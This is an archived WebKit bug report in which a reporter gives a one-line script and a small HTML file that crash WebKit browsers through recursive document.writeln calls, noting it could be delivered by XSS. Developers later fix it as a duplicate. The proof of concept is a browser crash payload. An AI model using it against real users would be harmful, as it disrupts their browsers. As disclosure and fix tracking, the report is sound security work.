18689 2008-04-22 18:11:57 -0700 Reproducible crash when writing a document into itself 2011-02-03 09:33:55 -0800 1 1 1 Unclassified WebKit DOM 312.x All OS X 10.5 RESOLVED DUPLICATE 15123 InRadar P1 Major --- 1 mark.piper webkit-security-unassigned abarth ap christopher.reiss mark.piper sam oldest_to_newest 78600 0 mark.piper 2008-04-22 18:11:57 -0700 The following script appears to crash any webkit based browser when provided by an HTML file or delivered via a XSS etc. Additional abstract behaviour can be observed by placing a large HTML payload after the body tag. --- begin script --- document.writeln(window.document.body.innerHTML); -- end script -- --- begin html file --- <body> AAAAAAAA <script> document.writeln(window.document.body.innerHTML);</script> </body> --- end html file --- 78815 1 mrowe 2008-04-24 15:11:21 -0700 <rdar://problem/5888128> 79226 2 ap 2008-04-29 10:04:29 -0700 Reproducible crash -> P1. 332373 3 christopher.reiss 2011-01-11 08:58:04 -0800 This appears to have the same root cause as https://bugs.webkit.org/show_bug.cgi?id=15123 - there is no recursion check in WebCore::Document::write( ). I'll have a patch for 15123 soon, suggest marking this bug as duplicate. 344740 4 christopher.reiss 2011-02-03 08:38:00 -0800 This bug is closed by http://trac.webkit.org/changeset/77333 344778 5 abarth 2011-02-03 09:33:55 -0800 *** This bug has been marked as a duplicate of bug 15123 ***